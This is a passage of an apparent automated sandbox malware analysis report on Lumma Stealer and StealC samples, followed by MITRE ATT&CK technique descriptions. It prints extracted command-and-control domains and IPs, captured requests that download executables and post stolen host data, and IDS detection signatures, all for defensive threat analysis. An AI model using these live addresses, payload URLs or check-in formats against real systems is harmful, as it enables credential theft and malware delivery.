Associated: 00000004.00000002.2143216597.0000000000066000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143240241.000000000006A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143265619.0000000000076000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143369862.00000000001CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143394997.00000000001CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143422672.00000000001E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143446054.00000000001E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143473592.00000000001E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143473592.00000000001F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143528276.00000000001F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143577038.0000000000205000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143600486.0000000000208000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143621887.0000000000209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143644072.000000000020A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143667647.000000000020B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143723029.000000000020C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143750923.0000000000221000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143847299.000000000022B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143871850.000000000022D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143896838.0000000000235000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143922129.0000000000242000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143945606.0000000000249000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143974577.0000000000260000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143997561.0000000000266000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144019757.0000000000267000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144043544.0000000000270000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144067413.000000000027F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144089947.0000000000281000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144112200.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144135437.0000000000285000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144158853.000000000028C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144181428.000000000028F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144206086.0000000000296000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144230105.000000000029A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144253417.00000000002A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144276866.00000000002A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144303588.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144326632.00000000002B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144351109.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144374468.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144408613.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144431444.00000000002F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000302000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144502115.0000000000318000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144526017.000000000031A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_60000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544e3b2d75fe898485c22e71a1045d9ebf5b0f93ac2308565d83f83c33c03022
Instruction ID: 54a301392e08b59bf51539b90b605c7d9b0968e631963c30b2dd95e770b9950c
Opcode Fuzzy Hash: 544e3b2d75fe898485c22e71a1045d9ebf5b0f93ac2308565d83f83c33c03022
Instruction Fuzzy Hash: 29E04636108205AED700DF54D845AABFBF8FF5A321F659949E888CB222C3358841CB2A

Source: u1z7S3hr06.exe.7540.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["discokeyus.lat", "crosshuaht.lat", "grannyejh.lat", "sustainskelet.lat", "necklacebudi.lat", "sweepyribs.lat", "aspecteirs.lat", "rapeflowwj.lat", "energyaffai.lat"], "Build id": "PsFKDg--pablo"}
Source: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe.8188.5.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:63071 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:59219 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49737 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49732 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.4:50611 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49730 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49731 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49735 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49734 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49733 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49742 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49732 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49742 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.21.99:443

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: energyaffai.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 16:10:54 GMTContent-Type: application/octet-streamContent-Length: 2846208Last-Modified: Fri, 20 Dec 2024 15:44:49 GMTConnection: keep-aliveETag: "676590f1-2b6e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 dc 95 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 6a 6d 79 6d 64 64 77 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6a 64 67 78 75 6e 69 00 20 00 00 00 80 2b 00 00 06 00 00 00 46 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 4c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 16:10:59 GMTContent-Type: application/octet-streamContent-Length: 2883584Last-Modified: Fri, 20 Dec 2024 15:46:44 GMTConnection: keep-aliveETag: "67659164-2c0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 30 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 4f 00 00 04 00 00 dd 9b 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 6a 76 69 72 68 75 74 00 60 2a 00 00 c0 24 00 00 5e 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 65 73 77 7a 72 6f 71 00 10 00 00 00 20 4f 00 00 04 00 00 00 da 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4f 00 00 22 00 00 00 de 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFCBFHJDHJKECAKEHIDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 42 41 35 41 43 35 45 30 32 36 33 30 35 30 34 35 37 33 35 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 2d 2d 0d 0a Data Ascii: ------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="hwid"ECBA5AC5E0263050457358------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="build"stok------AKFCBFHJDHJKECAKEHID--

Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	Joe Sandbox ML: detected

Source: Joe Sandbox View	IP Address: 104.21.21.99 104.21.21.99
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49744 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
